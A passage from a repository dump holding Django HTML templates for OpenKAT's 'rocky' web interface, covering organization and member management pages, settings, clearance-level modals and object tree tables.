    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            <div class=\"introduction\">\n                <div>\n                    <h1>{% translate \"Organizations\" %}</h1>\n                    <p>{% translate \"An overview of all organizations you are a member of.\" %}</p>\n                </div>\n                <div class=\"horizontal-view toolbar\">\n                    {% if perms.tools.add_organization %}\n                        <a href=\"{% url 'organization_add' %}\" class=\"button ghost\"><span class=\"icon ti-plus\" aria-hidden=\"true\"></span>{% translate \"Add new organization\" %}</a>\n                    {% endif %}\n                </div>\n            </div>\n            <div>\n                <div class=\"horizontal-scroll\">\n                    {% if object_list %}\n                        <div class=\"toolbar\">\n                            <p class=\"de-emphasized\">\n                                {% blocktranslate with total=object_list.count %}\n                            Showing {{ total }} organizations\n                        {% endblocktranslate %}\n                            </p>\n                        </div>\n                        <table>\n                            <caption class=\"visually-hidden\">{% translate \"Organization overview:\" %}</caption>\n                            <thead>\n                                <tr>\n                                    <th>{% translate \"Name\" %}</th>\n                                    <th>{% translate \"Code\" %}</th>\n                                    <th>{% translate \"Tags\" %}</th>\n                                    <th>{% translate \"Settings\" %}</th>\n                                </tr>\n                            </thead>\n                            <tbody>\n                                {% for organization in object_list %}\n                                    <tr>\n                                        <td>\n                                            <a href=\"{% url 'organization_crisis_room_landing' organization_code=organization.code %}\">{{ organization.name }}</a>\n                                        </td>\n                                        <td>\n                                            <a href=\"{% url 'organization_crisis_room_landing' organization_code=organization.code %}\">{{ organization.code }}</a>\n                                        </td>\n                                        <td>\n                                            {% include \"organizations/organization_tags.html\" %}\n\n                                        </td>\n                                        <td>\n                                            <a href=\"{% url 'organization_settings' organization_code=organization.code %}\">\n                                                <button class=\"icon ti-edit action-button\">Settings</button>\n                                            </a>\n                                        </td>\n                                    </tr>\n                                {% endfor %}\n                            </tbody>\n                        </table>\n                    {% else %}\n                        {% translate \"There were no organizations found for your user account\" %}.\n                    {% endif %}\n                </div>\n                <div>\n                    <h2>{% translate \"Actions\" %}</h2>\n                    <p>{% translate \"Actions to perform for all of your organizations.\" %}</p>\n                    {% if perms.tools.can_recalculate_bits %}\n                        <form method=\"post\" class=\"inline\">\n                            {% csrf_token %}\n                            <button type=\"submit\"\n                                    class=\"dropdown-button ghost\"\n                                    name=\"action\"\n                                    value=\"recalculate\">{% translate \"Rerun all bits\" %}</button>\n                        </form>\n                    {% endif %}\n                </div>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/organizations/organization_member_add.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            {% include \"organizations/organization_member_add_header.html\" %}\n\n            <div>\n                <a class=\"button ghost\"\n                   href=\"{% url \"organization_member_add_account_type\" organization_code=organization.code %}\">\n                    <span class=\"icon ti-chevron-left\" aria-hidden=\"true\"></span>\n                    {% translate \"Change account type\" %}\n                </a>\n                <h2>{{ view.kwargs.account_type|capfirst }} account setup</h2>\n                <form novalidate  method=\"post\" class=\"help\">\n                    {% csrf_token %}\n                    {% include \"partials/form/fieldset.html\" with legend=fieldset_legend fields=form %}\n\n                    <button type=\"submit\">{% translate \"Submit\" %}</button>\n                </form>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/organizations/organization_member_add_account_type.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            {% include \"organizations/organization_member_add_header.html\" %}\n\n            <form novalidate  method=\"get\" class=\"help\">\n                {% include \"partials/form/fieldset.html\" with legend=fieldset_legend fields=form %}\n\n                <button type=\"submit\">{% translate \"Submit\" %}</button>\n            </form>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/organizations/organization_member_add_header.html",
    "content": "{% load i18n %}\n\n<div>\n    <h1>{% translate \"Add member\" %}</h1>\n    <p>\n        {% blocktranslate trimmed %}\n            Creating a new member of organization <strong>{{ organization }}</strong>.\n            For detailed information about the different account types, check the\n            <a href=\"https://docs.openkat.nl/basics/users-and-organisations.html#users\"\n               target=\"_blank\"\n               rel=\"noopener\">documentation</a>.\n        {% endblocktranslate %}\n    </p>\n</div>\n"
  },
  {
    "path": "rocky/rocky/templates/organizations/organization_member_edit.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            <div>\n                <h1>{% translate \"Edit member\" %} {{ object.user.full_name }}</h1>\n                <form method=\"post\" class=\"help\">\n                    {% csrf_token %}\n                    {% include \"partials/form/fieldset.html\" with fields=form %}\n\n                    <div class=\"button-container\">\n                        <button type=\"submit\">{% translate \"Save member\" %}</button>\n                        <a class=\"button ghost\"\n                           href=\"{% url 'organization_member_list' organization.code %}\">{% translate \"Cancel\" %}</a>\n                    </div>\n                </form>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n{% block html_at_end_body %}\n    {{ block.super }}\n    <script src=\"{% static \"js/checkboxToggler.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/rocky/templates/organizations/organization_member_list.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            <div class=\"introduction\">\n                <div>\n                    <h1>{% translate \"Members\" %}</h1>\n                    <p>\n                        {% blocktranslate with organization_name=organization.name trimmed %}\n                            An overview of members of <strong>{{ organization_name }}</strong>.\n                        {% endblocktranslate %}\n                    </p>\n                </div>\n                {% if perms.tools.add_organizationmember %}\n                    <div class=\"horizontal-view toolbar\">\n                        <div class=\"dropdown\">\n                            <button aria-controls=\"add-member\" class=\"dropdown-button ghost\">\n                                {% translate \"Add member(s)\" %}<span aria-hidden=\"true\" class=\"icon ti-chevron-down\"></span>\n                            </button>\n                            <div id=\"add-member\" class=\"dropdown-list\">\n                                <ul>\n                                    <li>\n                                        <a href=\"{% url \"organization_member_add_account_type\" organization.code %}\"><span class=\"icon ti-plus\" aria-hidden=\"true\"></span>{% translate \"Manually\" %}</a>\n                                    </li>\n                                    <li>\n                                        <a href=\"{% url \"organization_member_upload\" organization.code %}\"><span class=\"icon ti-file-upload\" aria-hidden=\"true\"></span>{% translate \"Upload a CSV\" %}</a>\n                                    </li>\n                                </ul>\n                            </div>\n                        </div>\n                    </div>\n                </div>\n            {% endif %}\n            <div>\n                {% include \"partials/organization_member_list_filters.html\" with checkbox_filters=checkbox_filters %}\n\n                <div class=\"toolbar\">\n                    <p class=\"de-emphasized\">\n                        {% blocktranslate with total=members.count %}\n                        Showing {{ total }} members\n                    {% endblocktranslate %}\n                    </p>\n                </div>\n                <div class=\"horizontal-scroll\">\n                    <table class=\"nowrap\">\n                        <caption class=\"visually-hidden\">{% translate \"Member overview:\" %}</caption>\n                        <thead>\n                            <tr>\n                                <th>{% translate \"Email\" %}</th>\n                                <th>{% translate \"Role\" %}</th>\n                                <th>{% translate \"Status\" %}</th>\n                                <th>{% translate \"Assigned clearance level\" %}</th>\n                                <th>{% translate \"Accepted clearance level\" %}</th>\n                                <th>{% translate \"Edit\" %}</th>\n                                <th>{% translate \"Blocked\" %}</th>\n                            </tr>\n                        </thead>\n                        <tbody>\n                            {% for member in members %}\n                                {% if not member.user.is_superuser or request.user.is_superuser %}\n                                    <tr>\n                                        <td>\n                                            {{ member.user.email }}\n                                            <br>\n                                        </td>\n                                        <td>\n                                            {% if member.user.is_superuser %}\n                                                {% translate \"Super user\" %}\n                                            {% endif %}\n                                            {% for group in member.groups.all %}\n                                                {{ group.name|title }}\n                                                <br>\n                                            {% endfor %}\n                                        </td>\n                                        <td class=\"nowrap\">\n                                            {% if member.user.is_superuser %}\n                                                <span class=\"icon positive\">{% translate \"Active\" %}</span>&nbsp;{% translate \"Active\" %}\n                                            {% else %}\n                                                {% if member.status == 'active' %}\n                                                    <span class=\"icon positive\">{% translate \"Active\" %}</span>&nbsp;{% translate \"Active\" %}\n                                                {% elif member.status == 'new' %}\n                                                    <span class=\"icon neutral\">{% translate \"New\" %}</span>&nbsp;{% translate \"New\" %}\n                                                {% endif %}\n                                            {% endif %}\n                                        </td>\n                                        <td>\n                                            {% if member.trusted_clearance_level < 0 %}\n                                                None\n                                            {% else %}\n                                                L{{ member.trusted_clearance_level }}\n                                            {% endif %}\n                                        </td>\n                                        <td>\n                                            {% if member.acknowledged_clearance_level < 0 %}\n                                                None\n                                            {% else %}\n                                                L{{ member.acknowledged_clearance_level }}\n                                            {% endif %}\n                                        </td>\n                                        <td>\n                                            {% if member.user.is_superuser %}\n                                                <button class=\"icon ti-edit action-button disabled\">{% translate \"Edit\" %}</button>\n                                            {% else %}\n                                                <a href=\"{% url \"organization_member_edit\" organization.code member.id %}\">\n                                                    <button class=\"icon ti-edit action-button\">{% translate \"Edit\" %}</button>\n                                                </a>\n                                            {% endif %}\n                                        </td>\n                                        <td>\n                                            {% if member.blocked %}\n                                                {% include \"partials/single_action_checkbox_form.html\" with input_checked=member.blocked input_disabled=member.user.is_superuser action=\"unblock\" key=\"member_id\" value=member.id %}\n\n                                            {% else %}\n                                                {% comment %} Disable the \"block\" checkbox for members that are super users or for the member of the user that's logged in so they can't lock themself out of the organisation by accident{% endcomment %}\n                                                {% if member.user.is_superuser or member.user.email == request.user.email %}\n                                                    {% include \"partials/single_action_checkbox_form.html\" with input_checked=member.blocked input_disabled=\"disabled\" action=\"block\" key=\"member_id\" value=member.id %}\n\n                                                {% else %}\n                                                    {% include \"partials/single_action_checkbox_form.html\" with input_checked=member.blocked action=\"block\" key=\"member_id\" value=member.id %}\n\n                                                {% endif %}\n                                            {% endif %}\n                                        </td>\n                                    </tr>\n                                {% endif %}\n                            {% endfor %}\n                        </tbody>\n                    </table>\n                </div>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n{% block html_at_end_body %}\n    {{ block.super }}\n    <script src=\"{% static \"js/checkboxToggler.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/rocky/templates/organizations/organization_member_upload.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            <div>\n                <h1>{% translate \"Add members\" %}</h1>\n                <p>\n                    {% url 'download_organization_member_template' organization_code=organization.code as download_url %}\n                    {% blocktranslate trimmed with download_url=download_url %}\n                        To upload multiple members at once, you can upload a CSV file\n                        or you can <a href=\"{{ download_url }}\">download the template</a>.\n                    {% endblocktranslate %}\n                </p>\n            </div>\n            <div>\n                <p>\n                    {% translate \"To create a custom CSV file, make sure it meets the following criteria:\" %}\n                    <ul>\n                        {% for criterion in criteria %}<li>{{ criterion }}</li>{% endfor %}\n                    </ul>\n                </p>\n                <form novalidate method=\"post\" class=\"help\" enctype=\"multipart/form-data\">\n                    {% csrf_token %}\n                    {% include \"partials/form/fieldset.html\" with legend=fieldset_legend fields=form %}\n\n                    <button type=\"submit\">{% translate \"Upload\" %}</button>\n                </form>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/organizations/organization_settings.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            <div>\n                <h1>{% translate \"Settings\" %}</h1>\n                <p>\n                    {% blocktranslate with organization_name=organization.name trimmed %}\n                        An overview of general information and settings for <strong>{{ organization_name }}</strong>.\n                    {% endblocktranslate %}\n                </p>\n                {% if not indemnification_present %}\n                    <p class=\"warning\"\n                       role=\"group\"\n                       aria-label=\"{% translate \"indemnification warning\" %}\">\n                        {% url \"organization_settings\" organization.code as organization_settings %}\n                        {% blocktranslate trimmed %}\n                            <strong>Warning:</strong>\n                            Indemnification is not set for this organization.\n                        {% endblocktranslate %}\n                    </p>\n                {% endif %}\n            </div>\n            <div>\n                <h2>{% translate \"Organization details\" %}</h2>\n                <div class=\"horizontal-scroll\">\n                    <table>\n                        <caption class=\"visually-hidden\">{% translate \"Organization details\" %}</caption>\n                        <thead>\n                            <tr>\n                                <th>{% translate \"Name\" %}</th>\n                                <th>{% translate \"Code\" %}</th>\n                                <th>{% translate \"Tags\" %}</th>\n                                {% if perms.tools.change_organization %}\n                                    <th>{% translate \"Edit\" %}</th>\n                                {% endif %}\n                            </tr>\n                        </thead>\n                        <tbody>\n                            <tr>\n                                <td>{{ organization.name }}</td>\n                                <td>{{ organization.code }}</td>\n                                <td>\n                                    {% include \"organizations/organization_tags.html\" %}\n\n                                </td>\n                                {% if perms.tools.change_organization %}\n                                    <td>\n                                        {% spaceless %}\n                                            <a href=\"{% url \"organization_edit\" organization.code %}\">\n                                                <button class=\"icon ti-edit action-button\">{% translate \"Edit\" %}</button>\n                                            </a>\n                                        {% endspaceless %}\n                                    </td>\n                                {% endif %}\n                            </tr>\n                        </tbody>\n                    </table>\n                </div>\n            </div>\n            <div>\n                <h2>{% translate \"Actions\" %}</h2>\n                <div class=\"button-container\">\n                    {% if perms.tools.add_indemnification %}\n                        <a href=\"{% url \"indemnification_add\" organization.code %}\"\n                           class=\"button ghost\">\n                            <span class=\"icon ti-plus\" aria-hidden=\"true\"></span>{% translate \"Add indemnification\" %}\n                        </a>\n                    {% endif %}\n                    {% if perms.tools.can_recalculate_bits %}\n                        <form method=\"post\" class=\"inline\">\n                            {% csrf_token %}\n                            <button type=\"submit\"\n                                    class=\"dropdown-button ghost\"\n                                    name=\"action\"\n                                    value=\"recalculate\">{% translate \"Rerun all bits\" %}</button>\n                        </form>\n                    {% endif %}\n                </div>\n            </div>\n        </section>\n        {% if organization.tags.all %}\n            <section>\n                <div>\n                    <h2>{% translate \"Tags\" %}</h2>\n                    {% include \"organizations/organization_tags.html\" %}\n\n                </div>\n            </section>\n        {% endif %}\n    </main>\n{% endblock content %}\n{% block html_at_end_body %}\n    {{ block.super }}\n    <script src=\"{% static \"js/checkboxToggler.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/rocky/templates/organizations/organization_tags.html",
    "content": "<ul class=\"tags horizontal-view\">\n    {% for tag in organization.tags.all %}<li class=\"{{ tag.css_class }}\">{{ tag.name }}</li>{% endfor %}\n</ul>\n"
  },
  {
    "path": "rocky/rocky/templates/organizations/select_clearance_level_radio_input.html",
    "content": "{% load i18n %}\n\n<fieldset>\n    <legend>{{ field.label_tag }}</legend>\n    {% for choice in field %}\n        <div class=\"horizontal-view\">\n            <input type=\"radio\"\n                   name=\"{{ field.name }}\"\n                   value=\"{{ choice.data.value }}\"\n                   id=\"id_{{ field.name }}_{{ forloop.counter0 }}\"\n                   {% if choice.data.attrs.disabled %}disabled{% endif %}\n                   {% if choice.data.attrs.checked %}checked{% endif %} />\n            <label>\n                {% include \"partials/scan_level_indicator.html\" with value=forloop.counter0 %}\n\n            </label>\n        </div>\n    {% endfor %}\n    {% include \"partials/form/field_input_help_text.html\" with help_text=field.help_text %}\n    {% include \"partials/form/field_input_errors.html\" %}\n\n</fieldset>\n"
  },
  {
    "path": "rocky/rocky/templates/partials/boefje_tile_option.html",
    "content": "{% load i18n %}\n{% load static %}\n\n{% include \"partials/boefje_tile.html\" with item=item.boefje %}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/current_config.html",
    "content": "{% load i18n %}\n{% load static %}\n\n<div>\n    <h5>{% translate \"Current configuration\" %}</h5>\n    <div>\n        <dl>\n            {% for key, value in config.items %}\n                <div>\n                    <dt>{{ key }}</dt>\n                    <dd>\n                        {{ value }}\n                    </dd>\n                </div>\n            {% endfor %}\n        </dl>\n    </div>\n</div>\n"
  },
  {
    "path": "rocky/rocky/templates/partials/delete_ooi_modal.html",
    "content": "{% load i18n %}\n\n{% component \"modal\" modal_id=\"delete-ooi-modal\" size=\"dialog-small\" %}\n{% fill \"header\" %}\n{% translate \"Delete objects\" %}\n{% endfill %}\n{% fill \"content\" %}\n<p>\n    {% blocktranslate trimmed %}\n        Are you sure you want to delete all the selected objects?\n        The history of the deleted objects will still be available.\n    {% endblocktranslate %}\n</p>\n{% endfill %}\n{% fill \"footer_buttons\" %}\n<button type=\"submit\"\n        form=\"ooi_list_form\"\n        class=\"destructive\"\n        name=\"action\"\n        value=\"delete\">{% translate \"Delete\" %}</button>\n<button class=\"ghost close-modal-button\">{% translate \"Cancel\" %}</button>\n{% endfill %}\n{% endcomponent %}\n{% component_css_dependencies %}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/edit_ooi_clearance_level_modal.html",
    "content": "{% load i18n %}\n{% load form_extra %}\n\n{% component \"modal\" modal_id=\"edit-clearance-level-modal\" size=\"dialog-medium\" %}\n{% fill \"header\" %}\n{% translate \"Edit clearance level settings\" %}\n{% endfill %}\n{% fill \"content\" %}\n{% if type == \"ooi_list\" %}\n    <p>{% translate \"You are editing clearance level of all the selected objects.\" %}</p>\n{% endif %}\n<div class=\"message\">\n    <div class=\"explanation\"\n         role=\"group\"\n         aria-label=\"{% translate \"explanation\" %}\">\n        <div>\n            <span>{% translate \"Switching between declare and inherit\" %}</span>\n            <p>\n                {% blocktranslate trimmed %}\n                    Clearance levels can be automatically inherited or you can manually\n                    declare the clearance level for an object. Switching to inherit\n                    clearance level will also recalculate the clearance levels of\n                    objects that inherit from these clearance levels.\n                {% endblocktranslate %}\n            </p>\n        </div>\n    </div>\n</div>\n{% if type == \"ooi_detail\" %}\n    <form id=\"set_clearance_level\"\n          action=\"{% ooi_url \"scan_profile_detail\" ooi.primary_key organization.code %}#set_clearance_level\"\n          method=\"post\"\n          class=\"help\">\n        {% csrf_token %}\n        <input type=\"hidden\" name=\"action\" value=\"change_clearance_level\">\n        {% include \"partials/form/fieldset.html\" with fields=form %}\n\n    </form>\n{% else %}\n    <form class=\"help\">\n        <fieldset>\n            {% for field in edit_clearance_level_form %}\n                <fieldset>\n                    <label for=\"{{ field.id_for_label }}\">\n                        {{ field.label }}\n                        {% if field.field.required %}\n                            <span class=\"nota-bene\" aria-hidden>({% translate \"Required\" %})</span>\n                        {% endif %}\n                    </label>\n                    <div>\n                        {{ field|with_form_attr:\"ooi_list_form\" }}\n                        {% include \"partials/form/field_input_help_text.html\" with help_text=field.help_text %}\n                        {% include \"partials/form/field_input_errors.html\" %}\n\n                    </div>\n                </fieldset>\n            {% endfor %}\n        </fieldset>\n    </form>\n{% endif %}\n{% endfill %}\n{% fill \"footer_buttons\" %}\n{% if type == \"ooi_list\" %}\n    <button type=\"submit\"\n            class=\"dropdown-button\"\n            name=\"action\"\n            value=\"update-scan-profile\"\n            form=\"ooi_list_form\">{% translate \"Save changes\" %}</button>\n{% else %}\n    <button type=\"submit\" form=\"set_clearance_level\">{% translate \"Save changes\" %}</button>\n{% endif %}\n<button class=\"ghost close-modal-button\">{% translate \"Cancel\" %}</button>\n{% endfill %}\n{% endcomponent %}\n{% component_css_dependencies %}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/elements/definition_list_item.html",
    "content": "{% if show_empty_description or description %}\n    <div>\n        <dt>\n            <span class=\"uc-first\">{{ label }}:</span>\n        </dt>\n        <dd>\n            {% if description %}\n                {{ description }}\n            {% else %}\n                -\n            {% endif %}\n        </dd>\n    </div>\n{% endif %}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/elements/definition_list_items.html",
    "content": "{% for key, value in items %}\n    {% if exclude_keys and key not in exclude_keys %}\n        {% include \"partials/elements/definition_list_item.html\" with label=key description=value %}\n\n    {% endif %}\n{% endfor %}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/elements/ooi_add_type_select_form.html",
    "content": "{% load i18n %}\n\n{% spaceless %}\n    <form method=\"get\" class=\"help\">\n        {% if ooi %}<input type=\"hidden\" name=\"ooi_id\" value=\"{{ ooi.primary_key }}\" />{% endif %}\n        <fieldset>\n            <div>\n                <label for=\"select_ooi_type\">{% translate \"Object type\" %}</label>\n                <div>\n                    <select id=\"select_ooi_type\" name=\"add_ooi_type\" required>\n                        <option disabled selected value=\"\">-- {% translate \"Choose an object type to add\" %} --</option>\n                        {% for option in ooi_types %}\n                            {% if option.text != \"Finding\" %}<option value=\"{{ option.value }}\">{{ option.text }}</option>{% endif %}\n                        {% endfor %}\n                    </select>\n                    {% translate \"Select an object type to add.\" as help_text %}\n                    {% include \"partials/form/field_input_help_text.html\" with help_text=help_text %}\n\n                </div>\n            </div>\n        </fieldset>\n        <input class=\"button\" type=\"submit\" value=\"{% translate \"Add object\" %}\" />\n    </form>\n{% endspaceless %}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/elements/ooi_detail_settings.html",
    "content": "{% extends \"partials/list_filters.html\" %}\n\n{% load i18n %}\n\n{% block title %}\n    {% translate \"Observed at\" %} {{ observed_at|date:'M d, Y' }}\n{% endblock title %}\n{% block show_text %}\n    {% translate \"Show settings\" %}\n{% endblock show_text %}\n{% block hide_text %}\n    {% translate \"Hide settings\" %}\n{% endblock hide_text %}\n{% block filter_form %}\n    {% translate \"Submit\" as submit_text %}\n    {% include \"partials/elements/ooi_list_settings_form.html\" with ooi_id=ooi.primary_key %}\n\n{% endblock filter_form %}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/elements/ooi_list_settings_form.html",
    "content": "{% load i18n %}\n\n<form id=\"ooi_list_settings\"\n      action=\"{% if organization.code %}{% url request.resolver_match.url_name organization.code %}{% else %}{% url request.resolver_match.url_name %}{% endif %}\"\n      method=\"get\"\n      class=\"help\">\n    {% if ooi_id %}<input type=\"hidden\" name=\"ooi_id\" value=\"{{ ooi_id }}\" />{% endif %}\n    {% include \"partials/form/field_hidden_from_list.html\" with list=mandatory_fields form=observed_at_form %}\n    {% include \"partials/form/fieldset.html\" with fields=observed_at_form %}\n    {% include \"partials/form/fieldset.html\" with fields=ooi_type_form custom_class=\"column-4 checkbox-list\" %}\n\n    {% if ooi_type_form.fields.ooi_type.choices|length > 4 %}\n        <button type=\"button\"\n                class=\"toggle-all toggle-on ghost\"\n                data-toggle-target=\"ooi_type\">{% translate \"Toggle all OOI types\" %}</button>\n    {% endif %}\n    {% include \"partials/form/fieldset.html\" with fields=clearance_level_filter_form fieldset_parent_class=\"column-2\" %}\n    {% include \"partials/form/fieldset.html\" with fields=ooi_search_form %}\n\n    {{ order_by_form }}\n    <input type=\"hidden\"\n           name=\"sorting_order\"\n           value=\"{% if sorting_order == \"asc\" %}desc{% else %}asc{% endif %}\">\n    <div class=\"button-container\">\n        <input type=\"submit\"\n               value=\"{% if submit_text %}{{ submit_text }}{% else %}{% translate \"Set filters\" %}{% endif %}\" />\n        <a href=\"{{ request.path }}{% if request.GET.ooi_id %}?ooi_id={{ request.GET.ooi_id|urlencode }}{% endif %}\"\n           class=\"button ghost\">{% translate \"Clear filters\" %}</a>\n    </div>\n</form>\n"
  },
  {
    "path": "rocky/rocky/templates/partials/elements/ooi_report_settings.html",
    "content": "{% extends \"partials/list_filters.html\" %}\n\n{% load i18n %}\n\n{% block title %}\n    {{ observed_at|date:'M d, Y' }}\n{% endblock title %}\n{% block show_text %}\n    {% translate \"Show settings\" %}\n{% endblock show_text %}\n{% block hide_text %}\n    {% translate \"Hide settings\" %}\n{% endblock hide_text %}\n{% block filter_form %}\n    {% translate \"Submit\" as submit_text %}\n    {% include \"partials/elements/ooi_list_settings_form.html\" with ooi_id=ooi.primary_key %}\n\n{% endblock filter_form %}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/elements/ooi_tree_condensed_table.html",
    "content": "{% load i18n %}\n\n{% if list.items %}\n    {% with current_depth=0 %}\n        <div class=\"horizontal-scroll\">\n            <table class=\"action-buttons tree-view\">\n                <thead>\n                    <tr>\n                        <th class=\"col-ooi-child-nodes\">{% translate \"Children\" %}</th>\n                        <th class=\"col-ooi-id\">{% translate \"Key\" %}</th>\n                        <th class=\"col-ooi-type\">{% translate \"Type\" %}</th>\n                        <th class=\"col-action\">{% translate \"Tree\" %}</th>\n                        <th class=\"col-action\">{% translate \"Graph\" %}</th>\n                    </tr>\n                </thead>\n                <tbody>\n                    {% include \"partials/elements/ooi_tree_condensed_table_row.html\" with object=list %}\n\n                </tbody>\n            </table>\n        </div>\n    {% endwith %}\n{% endif %}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/elements/ooi_tree_condensed_table_row.html",
    "content": "{% load i18n %}\n{% load ooi_extra %}\n\n{% translate object.id as object_id %}\n{% translate object.ooi_type as object_ooi_type %}\n{% translate object.tree_meta.child_count as child_count %}\n{% if not filtered_types or object.ooi_type in filtered_types or object.id == ooi_id %}\n    <tr class=\"tree\"\n        data-location=\"{{ object.tree_meta.location }}\"\n        data-ooi-type=\"{{ object.ooi_type }}\">\n        <td>\n            {% if child_count|add:\"0\" > 0 %}<span class=\"tree-children-counter\">{{ child_count }}</span>{% endif %}\n        </td>\n        <td class=\"indent-{{ object.tree_meta.depth }}\">\n            <a href=\"{% ooi_url \"ooi_detail\" ooi_id organization.code query=mandatory_fields %}\"\n               title=\"{% blocktranslate %}Show details for {{ object_id }}, with {{ child_count }} children.{% endblocktranslate %}\">\n                {{ object.human_readable }}\n            </a>\n        </td>\n        <td>\n            <a href=\"{% ooi_url \"ooi_tree\" object.id organization.code ooi_type=object.ooi_type %}\"\n               title=\"{% blocktranslate %}Show tree for {{ object_id }} with only children of type {{ object_ooi_type }}{% endblocktranslate %}\">{{ object.ooi_type }}</a>\n        </td>\n        <td class=\"actions\">\n            <a href=\"{% ooi_url \"ooi_tree\" object.id organization.code query=mandatory_fields %}\"\n               class=\"icon ti-subtask button\">{% translate \"Tree\" %}</a>\n        </td>\n        <td class=\"actions\">\n            <a href=\"{% ooi_url \"ooi_graph\" object.id organization.code query=mandatory_fields %}\"\n               class=\"icon ti-affiliate button\">{% translate \"Graph\" %}</a>\n        </td>\n    </tr>\n    {% if object.children %}\n        {% for child in object.children %}\n            {% include \"partials/elements/ooi_tree_condensed_table_row.html\" with object=child %}\n\n        {% endfor %}\n    {% endif %}\n{% else %}\n    {% if object.ooi_type != \"Job\" %}\n        <tr class=\"folded\">\n            <td style=\"padding-left: calc({{ object.tree_meta.depth }}rem * 2);\">\n                <span class=\"icon ti-chevron-right\"></span>\n                ({{ object.tree_meta.child_count }}) {{ object.human_readable }}\n                {% if object.tree_meta.child_ids %}> {{ object.tree_meta.child_ids|join:' > ' }}{% endif %}\n            </td>\n            <td colspan=\"3\">\n                <a href=\"{% ooi_url \"ooi_tree\" ooi_id organization.code query=mandatory_fields ooi_type=object.ooi_type %}\"\n                   title=\"{% blocktranslate %}Unfold {{ object_id }} with {{ child_count }} children{% endblocktranslate %}: {% if object.tree_meta.child_ids %}> {{ object.tree_meta.child_ids|join:\"> \" }}{% endif %}\n                \">{{ object.ooi_type }}\n                {% if object.tree_meta.child_ooi_types %}> {{ object.tree_meta.child_ooi_types|join:' > ' }}{% endif %}\n            </a>\n        </td>\n    </tr>\n{% endif %}\n{% endif %}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/elements/ooi_tree_table.html",
    "content": "{% load i18n %}\n{% load ooi_extra %}\n\n{% if list.items %}\n    {% if list.tree_meta.depth > 1 %}\n        <input type=\"checkbox\"\n               class=\"toggle-table-body is-hidden\"\n               id=\"tree-{{ list.tree_meta.location }}\">\n    {% endif %}\n    <div class=\"horizontal-scroll\">\n        <table class=\"tree-view table\">\n            <thead>\n                <tr>\n                    <th colspan=\"2\">\n                        <div>\n                            <label for=\"tree-{{ list.tree_meta.location }}\">\n                                {% if list.tree_meta.depth > 1 %}\n                                    <span class=\"icon open ti-chevron-down\"></span>\n                                    <span class=\"icon close ti-chevron-up\"></span>&nbsp;\n                                {% endif %}\n                                {{ list.ooi_type }}: {{ list.human_readable }}\n                            </label>\n                            <nav>\n                                {% translate \"go to:\" %}\n                                <a href=\"{% ooi_url \"ooi_detail\" list.id organization.code %}\"\n                                   title=\"{% translate \"Go to detailpage\" %}\">{% translate \"detail\" %}</a>\n                                <a href=\"{% ooi_url \"ooi_tree\" list.id organization.code %}\"\n                                   title=\"{% translate \"Go to tree view\" %}\">{% translate \"tree\" %}</a>\n                                <a href=\"{% ooi_url \"ooi_graph\" list.id organization.code %}\"\n                                   title=\"{% translate \"Go to graph view\" %}\">{% translate \"graph\" %}</a>\n                            </nav>\n                        </div>\n                    </th>\n                </tr>\n            </thead>\n            <tbody>\n                {% for prop, item in list.items %}\n                    {% include \"partials/elements/ooi_tree_table_row.html\" %}\n\n                {% endfor %}\n            </tbody>\n        </table>\n    </div>\n{% endif %}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/elements/ooi_tree_table_row.html",
